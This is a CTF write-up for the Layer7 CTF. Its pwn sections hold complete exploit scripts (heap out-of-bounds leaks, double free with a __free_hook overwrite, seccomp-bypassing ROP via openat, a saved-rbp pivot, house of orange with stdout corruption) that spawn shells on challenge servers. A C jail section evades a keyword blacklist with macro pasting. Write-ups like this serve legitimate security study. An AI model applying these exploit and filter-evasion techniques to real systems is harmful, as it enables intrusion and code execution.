CTFするぞ

CTF以外のことも書くよ

Layer7 CTF writeup

Layer7 CTF had been held from October 6th to 7th. It's a sole-play CTF and I played it as ptr-yudai. There were so many challenges that I couldn't even check all of them, especially web challenges. I got 1711pts and kept 4th place.

[Pwn 1000pts] math_board

We're given a 64-bit ELF.

$ checksec -f math_board
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols      Yes     0               1       math_board

The vulnerability is OOB. When giving an index, it fails if it's above 20 or the most byte of the index is 0xff. Since the index is multiplied by 8, we can control the offset by specifying very small (negative) number like 0x8000000000000000.

>>> hex((0x8000000000000000 * 8) & ((1 << 64) - 1))
'0x0'
>>> hex((0x8000000000000001 * 8) & ((1 << 64) - 1))
'0x8'
>>>

In this way, we can leak the heap address by reading a freed chunk since fd can be regarded as a pointer of a title.

Normal title:
|        |
+--------+
|  ptr   |--+
+--------+  |
|  ...   |  |
+--------+<-+
| &title |-----+
+--------+     |
| &big   |--+  |
+--------+  |  |
|  ...   |  |  |
+--------+<-+  |
| title  |     |  <= can read this
+--------+<----+
|  big   |
+--------+
|        |

Freed chunk as title:
|        |
+--------+<----+
|   fd   |     | <= can read this
+--------+     |
| xxxxxx |     |
+--------+     |
|  ...   |     |
+--------+<-+  |
|   fd   |--|--+
+--------+  |
| xxxxxx |  |
+--------+  |
|  ...   |  |
+--------+  |
|   fd   |--+
+--------+
|        |

Since very large chunks (named big above) are allocated for ESC to save, we have a pointer to main arena in heap. As we have heap address, we can prepare a fake note to read the main arena address. After that is easy. We just double free a chunk and overwrite __free_hook.

from ptrlib import *

def write(title, esc):
    sock.sendafter("====\n", "w")
    if len(title) == 0x30:
        sock.send(title)
    else:
        sock.sendline(title)
    sock.recvuntil("save\n")
    if len(esc) == 0x1000:
        sock.send(esc)
    else:
        sock.send(esc)
        sock.send('\x1b')
    return

def read(index):
    sock.sendafter("====\n", "r")
    sock.sendlineafter(":", str(index))
    sock.recvuntil("====\n")
    a = sock.recvline()
    sock.recvuntil("----\n")
    b = sock.recvline()
    return (a, b)

def delete(index):
    sock.sendafter("====\n", "d")
    sock.sendlineafter(":", str(index))
    return

def offset(ofs):
    assert ofs % 8 == 0
    return -0x8000000000000000 + ofs // 8

"""
write          : delete        : read
               | malloc(0x100) |
               | free(0x100)   |
malloc(0x10)   | free(0x30)    | malloc(0x100)
malloc(0x30)   | free(0x1000)  | free(0x100)
malloc(0x1000) | free(0x10)    | 
"""

libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
#sock = Process("./math_board")
sock = Socket("bincat.kr", 31007)
libc_main_arena = 0x3ebc40

# heap leak
write('Hello0', 'Bye') # 0
write('Hello1', 'Bye') # 1
write('Hello2', 'Bye') # 2
delete(2)
delete(1)
delete(0)
heap_base = u64(read(offset(0x555555757340 - 0x555555757270))[1]) - 0x2470
logger.info("heap base = " + hex(heap_base))

# libc leak
addr_note = heap_base + 0x360
fake_note  = p64(addr_note + 0x10) * 2
fake_note += p64(addr_note + 0x48) * 2
write(fake_note, "")
libc_base = u64(read(offset(0x555555757360 - 0x555555757270))[1]) - libc_main_arena - 96
logger.info("libc base = " + hex(libc_base))

# double free
delete(0)
fake_note  = p64(addr_note) * 2
fake_note += p64(0) + p64(0x31)
fake_note += p64(addr_note) * 2
write(fake_note, "")
delete(offset(0x555555757380 - 0x555555757270))

# overwrite __free_hook
write(p64(libc_base + libc.symbol('__free_hook')), 'Bye') # 0
write('/bin/sh', 'Bye') # 1
write(p64(libc_base + libc.symbol('system')), 'Bye') # 2

# get the shell!
delete(1)

sock.interactive()

First blood!

$ python solve.py 
[+] __init__: Successfully connected to bincat.kr:31007
[+] <module>: heap base = 0x559cbd654000
[+] <module>: libc base = 0x7f50f8ebc000
[ptrlib]$ 1
cat flag
LAYER7{i hate math :p, you'd better try pwn}
[ptrlib]$

[Pwn 140pts] How old are you?

The binary is a 64-bit ELF.

$ checksec -f seccomp
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   86 Symbols     No       0               4       seccomp

It has a simple Stack Overflow but seccomp is enabled.

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x12 0xc000003e  if (A != ARCH_X86_64) goto 0020
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x0f 0xffffffff  if (A != 0xffffffff) goto 0020
 0005: 0x15 0x0e 0x00 0x00000002  if (A == open) goto 0020
 0006: 0x15 0x0d 0x00 0x00000009  if (A == mmap) goto 0020
 0007: 0x15 0x0c 0x00 0x0000000a  if (A == mprotect) goto 0020
 0008: 0x15 0x0b 0x00 0x00000029  if (A == socket) goto 0020
 0009: 0x15 0x0a 0x00 0x00000038  if (A == clone) goto 0020
 0010: 0x15 0x09 0x00 0x0000003a  if (A == vfork) goto 0020
 0011: 0x15 0x08 0x00 0x0000003b  if (A == execve) goto 0020
 0012: 0x15 0x07 0x00 0x0000003e  if (A == kill) goto 0020
 0013: 0x15 0x06 0x00 0x00000065  if (A == ptrace) goto 0020
 0014: 0x15 0x05 0x00 0x0000009d  if (A == prctl) goto 0020
 0015: 0x15 0x04 0x00 0x00000130  if (A == open_by_handle_at) goto 0020
 0016: 0x15 0x03 0x00 0x00000142  if (A == execveat) goto 0020
 0017: 0x15 0x02 0x00 0x00000208  if (A == 0x208) goto 0020
 0018: 0x15 0x01 0x00 0x00000221  if (A == 0x221) goto 0020
 0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0020: 0x06 0x00 0x00 0x00000000  return KILL

Many syscalls are restricted but openat is still alive. I leaked the libc address and called openat in libc in the 1nd ROP chain.

from ptrlib import *

elf = ELF("./seccomp")
"""
sock = Process("./seccomp")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
"""
sock = Socket("211.239.124.246", 12403)
#sock = Socket("0.0.0.0", 9999)
libc = ELF("./libc.so.6")
#"""

rop_pop_rdi = 0x00400eb3

# libc leak
payload = b'A' * 0x118
payload += p64(rop_pop_rdi)
payload += p64(elf.got("puts"))
payload += p64(elf.plt("puts"))
payload += p64(elf.symbol("main"))
sock.sendlineafter(": ", "1")
sock.sendafter(": ", "1")
sock.sendlineafter(": ", "1")
sock.sendafter(": ", payload)
sock.recvline()
libc_base = u64(sock.recvline()) - libc.symbol("puts")
logger.info("libc base = " + hex(libc_base))

"""
rop_xchg_eax_ecx = libc_base + 0x000f574b
rop_pop_rdx = libc_base + 0x00001b96
rop_pop_rsi = libc_base + 0x00023e6a
rop_pop_rax = libc_base + 0x000439c7
rop_xchg_eax_edi = libc_base + 0x0006eacd
rop_pop_rcx_rbx = libc_base + 0x00103cca
"""
rop_xchg_eax_ecx = libc_base + 0x00107ae3
rop_pop_rdx = libc_base + 0x00001b92
rop_pop_rsi = libc_base + 0x000202e8
rop_pop_rax = libc_base + 0x00033544
rop_xchg_eax_edi = libc_base + 0x000f68bc
rop_pop_rcx_rbx = libc_base + 0x000ea69a
#"""

# get the flag
payload = b'A' * 0x118
payload += p64(rop_pop_rdx)
payload += p64(0x20)
payload += p64(rop_pop_rsi)
payload += p64(elf.symbol("adult") + 1)
payload += p64(rop_pop_rdi)
payload += p64(0)
payload += p64(elf.plt("read"))

payload += p64(rop_pop_rsi)
payload += p64(libc_base + next(libc.find("r\0")))
payload += p64(rop_pop_rdx)
payload += p64(0)
payload += p64(rop_pop_rsi)
payload += p64(elf.symbol("adult") + 1)
payload += p64(rop_pop_rdi)
payload += p64((0xffffffffffffffff ^ 100) + 1)
payload += p64(libc_base + libc.symbol("openat"))

#payload += p64(rop_pop_rcx_rbx)
#payload += p64(elf.symbol("adult"))
#payload += p64(0xdeadbeef)
#payload += p64(rop_xchg_eax_edi)
payload += p64(rop_pop_rdi)
payload += p64(3) # cheat
payload += p64(rop_pop_rdx)
payload += p64(0x100)
payload += p64(rop_pop_rsi)
payload += p64(elf.section(".bss") + 0x400)
payload += p64(libc_base + libc.symbol("read"))

payload += p64(rop_pop_rdi)
payload += p64(elf.section(".bss") + 0x400)
payload += p64(elf.plt("puts"))

payload += p64(elf.symbol("_start"))
payload += b'a' * (0x200 - len(payload))
sock.sendlineafter(": ", "+")
sock.sendafter(": ", " flag")
sock.sendlineafter(": ", "1")
sock.sendafter(": ", payload)

sock.send("/home/seccomp/flag")
#sock.send("./flag.txt")

sock.interactive()

Yay!

$ python solve.py 
[+] __init__: Successfully connected to 211.239.124.246:12403
[+] <module>: libc base = 0x7f11ca1aa000
[ptrlib]$ Okay! I know how you are now, baby :)
LAYER7{H3110_MY_NAM3_1S_OP3NAT!_AND_HOW_0LD_AR3_Y00o0o00o0o0o0ooooooo0000000000000000OOOOOOOOO00UuuuuUUUUUUUUuuuuuuuUUUU??!?!?!?!!!11111?!11111?11?}
Input your age :

[Pwn 1000pts] sha1 breaker

The binary is a 64-bit ELF. I couldn't solve this challenge during the competition :-(

$ checksec -f sha1breaker
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No Symbols      No      0               5       sha1breaker

It creates a random byte array and calculates sha1 hash. If the hash matches to the prepared one, it just prints "correct!". There seems to be no vulnerability at first glance but it surely lies here:

mov     edx, cs:count
lea     rcx, [rbp+hash]
mov     rax, [rbp+buffer]
lea     rsi, format     ; "%02d:%s"
mov     rdi, rax        ; s
mov     eax, 0
call    _sprintf        ; sprintf(buffer, "%02d:%s", count, hash);

The buffer size is 24 bytes and the maximum count is 999. Since the hash is usually 20 bytes long, it seems reasonable. However, sprintf writes null at the last and if count is over 100, 20 + 4 = 24 bytes will be written to the buffer and 25th byte will be null. The 25th byte of the buffer is the least byte of saved rbp. So, we can control the least byte of rbp. After function returns, main function executes leave; ret; before it ends. This will set rsp to the value of rbp. As we can control rbp, rsp can be corrupted.

The next thing we use is this readint function.

push    rbp
mov     rbp, rsp
sub     rsp, 30h
lea     rax, [rbp+buf]
mov     edx, 20h        ; nbytes
mov     rsi, rax        ; buf
mov     edi, 0          ; fd
call    _read

Here we can leave 0x20 bytes to the stack. If, luckily, corrupted rbp points to this reagion, we can execute our ROP chain. However, the ROP chain is no more than 0x18 bytes long. (8-byte fake saved rbp + 24-byte ROP chain) I had been stuck here for half a day......

The solution lies right after the setup function.

f:id:ptr-yudai:20191007123633p:plain

Here we can see an unused function. This function reads rsi-bytes to rdi, and thus we can send 2nd ROP chain without crashing. If we set rbp to our 2nd ROP chain address and call this hidden function with push rbp; mov rbp, rsp; sub rsp, 0x20; skipped, the final leave; ret; will set rsp to our rbp, which will step into our 2nd ROP chain. This is my final exploit code:

from ptrlib import *
import os
import time

rop_pop_rdi = 0x00400ec3
rop_pop_rbp = 0x00400998
hidden_function = 0x400abd

libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
elf = ELF("./sha1breaker")

os.system("sudo dmesg -C")
while True:
    #sock = Process("./sha1breaker")
    sock = Socket("bincat.kr", 30420)
    
    #for i in range(0x64):
    #    sock.sendafter(">> ", "1" + "\xff" * 0x1f)
    sock.send(("1" + "\xff" * 0x1f) * 0x64)
    for i in range(0x64):
        sock.recvuntil(">> ")
    payload  = p64(elf.section('.bss') + 0x410)
    payload += p64(rop_pop_rdi)
    payload += p64(elf.section('.bss') + 0x418)
    payload += p64(hidden_function)
    payload += p64(rop_pop_rdi)
    payload += p64(elf.got("puts"))
    payload += p64(elf.plt("puts"))
    payload += p64(rop_pop_rbp)
    payload += p64(elf.section('.bss') + 0x800)
    payload += p64(rop_pop_rdi)
    payload += p64(elf.section('.bss') + 0x808)
    payload += p64(hidden_function)
    sock.sendafter(">> ", payload)
    r = sock.recvline(timeout=1)
    if r is None or r == b'' or r == b'Menu':
        sock.close()
        continue
    if len(r) >= 20:
        sock.close()
        continue

    # libc leak
    libc_base = u64(r) - libc.symbol("puts")
    if libc_base >= 1 << 64:
        sock.close()
        continue
    logger.info("libc_base = " + hex(libc_base))
    
    # get the shell!
    payload  = p64(rop_pop_rdi + 1) # align rsp
    payload += p64(rop_pop_rdi)
    payload += p64(libc_base + next(libc.find("/bin/sh")))
    payload += p64(libc_base + libc.symbol("system"))
    sock.send(payload)
    
    sock.interactive()
    exit(0)

Fun challenge!

$ python solve.py 
[+] __init__: Successfully connected to bincat.kr:30420
[+] <module>: libc_base = 0x7fce57f3d000
[ptrlib]$ s
[ptrlib]$ ls
hey_this_is_flag_h0ly_mo1y
problem
run.sh
[ptrlib]$ cat hey_this_is_flag_h0ly_mo1y
LAYER7{sha256("Cause_of_death:GOAROSA")=d66f91b9580abe39820abcf33b1e0ff56f2a8947e3da34cb672d7e9c47146c8b}
[ptrlib]$

[Pwn 1000pts] Angel-in-us

The binary is a 64-bit ELF. I could'nt solve this during the competition ;-(

$ checksec -f docker/problem
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   No Symbols      Yes     0               2       docker/problem

It has a simple heap overflow. However, it only accepts Malloc and Edit. When we don't have free, house of orange is one option, and when we don't have leak, abusing _IO_2_1_stdout_ is a good way. I'm familiar with latter but actually I've never tried house of orange.

House of orange uses _int_free inside sysmalloc function. The problem is we can't allocate a large chunk that will be taken from the unsorted bin. The challenge hint "scanf" was opened and I realized scanf mallocs a large buffer when a big input is given.

from ptrlib import *

def add(size, data):
    sock.sendlineafter("> ", "M")
    sock.sendlineafter("> ", str(size))
    sock.sendafter("> ", data)
    return

def edit(size, data):
    sock.sendlineafter("> ", "E")
    sock.sendlineafter("> ", str(size))
    sock.sendafter("> ", data)
    return

"""
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
sock = Process("./docker/problem")
libc_one_gadget = 0x10a38c
"""
libc = ELF("./docker/libc.so.6")
sock = Socket("211.239.124.246", 12404)
libc_one_gadget = 0x106ef8
#"""
addr_stdout = 0x404020

# use top chunk to make its size 0x130
for i in range(10):
    add(0x128, "PON!")
add(0x78, "PON!")

# house of orange
add(0x10, "A" * 0x10)
payload = b'A' * 0x10
payload += p64(0) + p64(0x131)
edit(0x20, payload)
sock.sendlineafter("> ", "M")
sock.sendlineafter("> ", "1" * 0x400)

# corrupt stdout
payload  = b"A" * 0x10
payload += p64(0) + p64(0x111) + p64(addr_stdout)
edit(0x10 + 0x18, payload)
add(0x108, "dummy")
add(0x108, "\x60") # stdout: don't corrupt this
add(0x108, p64(0xfbad1800) + p64(0) * 3 + b"\x88")

# libc leak
libc_base = u64(sock.recvline()[:8]) - libc.symbol("_IO_2_1_stdout_") - 131
logger.info("libc base = " + hex(libc_base))

# use top chunk
for i in range(13):
    add(0x118, "PONPON!!")

# house of orange
add(0x80, "A" * 0x10)
payload = b'A' * 0x80
payload += p64(0) + p64(0xd1)
edit(0x90, payload)
sock.sendlineafter("> ", "M")
sock.sendlineafter("> ", "1" * 0x500)
payload = b'A' * 0x80
payload += p64(0) + p64(0xb1)
payload += p64(libc_base + libc.symbol("__malloc_hook"))
edit(0x98, payload)

# overwrite __free_hook
add(0xa8, "dummy")
add(0xa8, p64(libc_base + libc_one_gadget))

# get the shell!
sock.sendlineafter("> ", "M")
sock.sendlineafter("> ", "10")

sock.interactive()

I should've tried this challenge before focusing on sha1 breaker.

$ python solve.py 
[+] __init__: Successfully connected to 211.239.124.246:12404
[+] <module>: libc base = 0x7f15c2e2a000
[ptrlib]$ cat /home/Angel/flag
LAYER7{Angel-is-howdays-25c3fd7d8ccc54fa1963a129ac9de6b3}
[ptrlib]$

[Misc 100pts] Do you know Android?

I decompiled the APK and found the flag base64 encoded in the source code.

[Misc 108pts] C jail break revenge(?)

It's a C jail challenge as the title says. Some words are restricted but #define is not restricted. The flag is written in chall.py.

from ptrlib import *

sock = Socket("211.239.124.246", 12406)

blacklist = ['main', 'exe', 'system', 'open', 'while', 'for', 'read', 'write', 'print', 'scan', 'local', 'fork', 'socket', 'connect', 'recv', 'send', 'listen', 'accept', 'bind', 'int', 'float', 'void', 'double', 'char', 'start', 'asm', 'get']
code = [
    '#include <stdio.h>',
    '#define func m##a##i##n',
    '#define pon v##o##i##d',
    '#define taro s##y##s##t##e##m',
    'pon func(pon) {',
    '  taro("cat chall.py");',
    '}',
]

for line in code:
    for word in blacklist:
        if word in line:
            print(word, line)
            exit(0)

sock.recvline()
sock.sendline("ptr-yudai")

sock.sendlineafter("enter?\n", str(len(code)))

for line in code:
    sock.sendlineafter(":", line)

sock.interactive()

[Rev 102pts] Catch mind if you can

It seems to be a React application. As I'm not familiar with React, I had to guess the algorithm of the image processing. I guessed it's not that complicated since the encrypted image is similar to the original image. I tried some functions such as xor or add, and found the flag like this:

from PIL import Image

img_orig = Image.open("original.png")
img_enc = Image.open("encrypted.png")

f = lambda x, y: (x - y) % 0x100

size = img_orig.size
for y in range(size[1]):
    for x in range(size[0]):
        c1 = img_orig.getpixel((x, y))
        c2 = img_enc.getpixel((x, y))
        r, g, b = f(c1[0], c2[0]), f(c1[1], c2[1]), f(c1[2], c2[2])
        img_orig.putpixel((x, y), (r, g, b, 255))

img_orig.save("hoge.png")

Guessing is winning!

f:id:ptr-yudai:20191007125319p:plain

[Coding 161pts] Layer7 Poker

We just need to write a judge program of poker. I wrote a terrible program every made :P

from ptrlib import *

def convert(num):
    if num == 'A': return 1
    if num == 'J': return 11
    if num == 'Q': return 12
    if num == 'K': return 13
    return int(num)

def parse(data):
    cards = []
    syms = []
    x = data[1:-1].split(", ")
    for card in x:
        cards.append(convert(card[1:]))
        syms.append(card[0])
    return cards, syms

def judge_by_symbol(sym1, sym2):
    if sym1 == 'S' and sym2 != 'S': return 1
    if sym2 == 'S' and sym1 != 'S': return 2
    if sym1 == 'D' and sym2 != 'D': return 1
    if sym2 == 'D' and sym1 != 'D': return 2
    if sym1 == 'H' and sym2 != 'H': return 1
    if sym2 == 'H' and sym1 != 'H': return 2
    if sym1 == 'C' and sym2 != 'C': return 1
    if sym2 == 'C' and sym1 != 'C': return 2
    return 1

def judge_by_symbols(syms1, syms2):
    if syms1.count('S') > syms2.count('S'): return 1
    if syms1.count('S') < syms2.count('S'): return 2
    if syms1.count('D') > syms2.count('D'): return 1
    if syms1.count('D') < syms2.count('D'): return 2
    if syms1.count('H') > syms2.count('H'): return 1
    if syms1.count('H') < syms2.count('H'): return 2
    if syms1.count('C') > syms2.count('C'): return 1
    if syms1.count('C') < syms2.count('C'): return 2
    return 0

def judge_by_number(a, b, c, d, func):
    cards1, syms1, cards2, syms2 = list(a), list(b), list(c), list(d)
    if func is None:
        for num in [13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1]:
            while True:
                if num in cards1 and num not in cards2: return 1
                if num not in cards1 and num in cards2: return 2
                if num in cards1 and num in cards2:
                    i, j = cards1.index(num), cards2.index(num)
                    if syms1[i] != syms2[j]:
                        return judge_by_symbol(syms1[i], syms2[j])
                    cards1 = cards1[:i] + cards1[i+1:]
                    syms1  = syms1[:i] + syms1[i+1:]
                    cards2 = cards2[:i] + cards2[i+1:]
                    syms2  = syms2[:i] + syms2[i+1:]
                break
    elif func == is_one_pair:
        for o1, c in enumerate(cards1):
            if cards1.count(c) == 2:
                n1 = c
                break
        for o2, c in enumerate(cards2):
            if cards2.count(c) == 2:
                n2 = c
                break
        oo1 = cards1.index(n1, o1+1)
        oo2 = cards2.index(n2, o2+1)
        s1, s2 = syms1[o1], syms2[o2]
        ss1, ss2 = syms1[oo1], syms2[oo2]
        if n1 > n2: return 1
        elif n2 > n1: return 2
        else:
            r = judge_by_symbols([s1, ss1], [s2, ss2])
            if r == 0:
                if sum(cards1) > sum(cards2):
                    return 1
                else:
                    return 2 # debug!!
            else:
                return r
    elif func == is_two_pairs:
        if sum(cards1) > sum(cards2):
            return 1
        else:
            return 2 # debug!!
    elif func == is_three_pairs:
        if sum(cards1) > sum(cards2):
            return 1
        else:
            return 2 # debug!!
    return 1

def is_royal(cards, syms):
    if 10 not in cards: return False
    if 11 not in cards: return False
    if 12 not in cards: return False
    if 13 not in cards: return False
    if 1 not in cards: return False
    if syms.count('S') == 5: return True
    if syms.count('H') == 5: return True
    if syms.count('C') == 5: return True
    if syms.count('D') == 5: return True
    return False

def is_straight_flush(cards, syms):
    base = min(cards)
    if base + 1 not in cards: return False
    if base + 2 not in cards: return False
    if base + 3 not in cards: return False
    if base + 4 not in cards: return False
    if syms.count('S') == 5: return True
    if syms.count('H') == 5: return True
    if syms.count('C') == 5: return True
    if syms.count('D') == 5: return True
    return False

def is_four_of_king(cards, syms):
    for c in cards:
        if cards.count(c) == 4:
            return True
    #if cards.count(13) >= 4: return True
    return False

def is_full_house(cards, syms):
    base1 = cards[0]
    if cards.count(base1) == 3:
        base2 = list(filter(lambda x: x != base1, cards))[0]
        if cards.count(base2) == 2:
            return True
    elif cards.count(base1) == 2:
        base2 = list(filter(lambda x: x != base1, cards))[0]
        if cards.count(base2) == 3:
            return True
    return False

def is_flush(cards, syms):
    if syms.count('S') == 5: return True
    if syms.count('H') == 5: return True
    if syms.count('C') == 5: return True
    if syms.count('D') == 5: return True
    return False

def is_straight(cards, syms):
    base = min(cards)
    if base + 1 not in cards: return False
    if base + 2 not in cards: return False
    if base + 3 not in cards: return False
    if base + 4 not in cards: return False
    return True

def is_three_of_king(cards, syms):
    for c in cards:
        if cards.count(c) == 3:
            return True
    return False

def is_two_pairs(cards, syms):
    x = 0
    for c in cards:
        if cards.count(c) == 2:
            x += 1
    return x == 4

def is_one_pair(cards, syms):
    for c in cards:
        if cards.count(c) == 2:
            return True
    return False

def judge(cards1, syms1, cards2, syms2):
    judge_funcs = [is_royal, is_straight_flush, is_four_of_king, is_full_house, is_flush, is_straight, is_three_of_king, is_two_pairs, is_one_pair]
    for func in judge_funcs:
        if func(cards1, syms1):
            if func(cards2, syms2):
                print("{} wins: {}".format(judge_by_number(cards1, syms1, cards2, syms2, func), func))
                return judge_by_number(cards1, syms1, cards2, syms2, func)
            else:
                print("1 wins: " + str(func))
                return 1
        elif func(cards2, syms2):
            print("2 wins: " + str(func))
            return 2
    print("{} wins: no pair".format(judge_by_number(cards1, syms1, cards2, syms2, None)))
    return judge_by_number(cards1, syms1, cards2, syms2, None)

sock = Socket("211.239.124.246", 12402)

for i in range(500):
    sock.recvuntil("[Round")
    sock.recvuntil("Player 1\n")
    cards1, syms1 = parse(bytes2str(sock.recvline()))
    sock.recvuntil("Player 2\n")
    cards2, syms2 = parse(bytes2str(sock.recvline()))
    print("[Round {}]".format(i + 1))
    print(cards1, syms1)
    print(cards2, syms2)
    sock.sendlineafter(">>", str(judge(cards1, syms1, cards2, syms2)))
    sock.recvuntil("Correct!")

sock.interactive()